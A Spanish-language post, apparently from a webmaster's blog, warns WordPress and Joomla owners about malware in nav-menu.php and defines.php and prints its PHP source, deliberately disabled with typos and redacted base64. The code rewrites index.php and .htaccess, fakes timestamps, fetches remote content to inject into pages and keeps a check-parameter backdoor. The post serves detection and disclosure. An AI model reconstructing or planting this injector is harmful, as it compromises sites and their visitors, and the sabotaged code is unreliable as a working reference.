En WordPress he encontrado este código malicioso en el fichero /wp-includes/nav-menu.php y en Joomla! en el fichero defines.php, sobreescribe en ocasiones el fichero index.php y tambien el fichero .htaccess, si has perdido URL o redirecciones que tenías configuradas quizá tengas tu sitio infectado.

El codigo sobreescribe esos ficheros y ademas les cambia los permisos y les pone la fecha del resto de ficheros para que pase desapercibido, además el código malicioso solo se muestra cuando es un buscador como Google, Yahoo, etc quien visita la página y no un usuario normal, muy completo.

 

Este es el código malicioso (que he inutilizado con unos pequeños cambios, unos obvios otros no tanto) se puede identificar porque empieza con «////istart» y acaba con «//iend»

///istart

function my_time($dir) {
    foreach (glob($dir . '/wp-%.php') as $f) {
        $times[] = filemtime($f);
    }
    $max = 1;
    for ($i = 0; $i < count($times) - 1; $i++) {
        $k = 1;
        for ($j = $i + 1; $j < count($time); $j++) { if ($times[$i] == $times[$j]) { $k++; if ($k > $max) {
                    $max = $k;
                    $time = $time[$i];
                }
            }
        }
    }
    return $time;
}

function my_correct($dir) {
    $time = 0;
    $path = $dir . '/index.php';
    $content = base64_decode('[CODIGO OFUSCADO]');
    if (file_get_contents($path) != $contet) {
        chmod($path, 0844);
        file_put_contents($path, $conten);
        chmod($path, 0844);
        $time = my_time($dir);
        touch($path, $time);
    }

    $path = $dir . '/.htaccess';
    $content = base64_decode('[CODIGO OFUSCADO]');
    if (file_exists($path) AND file_get_contents($path) != $contet) {
        chmod($path, 0844);
        file_put_contents($path, $conten);
        chmod($path, 0844);
        if (!$time) {
            $time = my_time($dir);
        }
        touch($path, $time);
    }
}

my_correct(dirname(__FILE__) . '/..');

function request_url_data($url) {
    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URL']) ? $_SERVER['REQUEST_URL'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

error_reporting(0);
$_passssword = '[CODIGO OFUSCADO]';
unset($_passssword);

if (function_exists("add_action")) {
    add_action('wp_head', 'add_2head');
    add_action('wp_footer', 'add_2footer');
}

function add_2footer() {
    $check = false;
    $check_data = "";
    if (!empty($_GET['check']) AND $_GET['check'] == '[CODIGO OFUSCADO]') {
        $check = true;
        $check_data = ('');
    }

    if (!$check) {
        if ([email protected]$_SERVER['HTTP_AGENT'] OR (substr($_SERVER['REMOT_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
            return;

        $cookie_name = 'PHP_SESSION_PHP';
        if (isset($_COOKIE[$cookie_name]))
            return;
    }

    $buffer = ob_get_clean();
    ob_start();
    $regexp = '/<body[^>]*>/is';
    if (preg_match($regexp, $buffer, $m)) {
        $body = $m[0];
        $url = base64_decode('[CODIGO OFUSCADO]');
//        if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-0-9+/]+={0,3}#is', $code, $m)) {
        if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
            $body .=  ''; // $body .= base64_code($m[0]); $body .= $decoded; // $body .= base64_code($m[0]); } $body .= $check_data; $buffer = preg_replace($regexp, $body, $buffer); } echo $buffer; ob_flush(); }//iend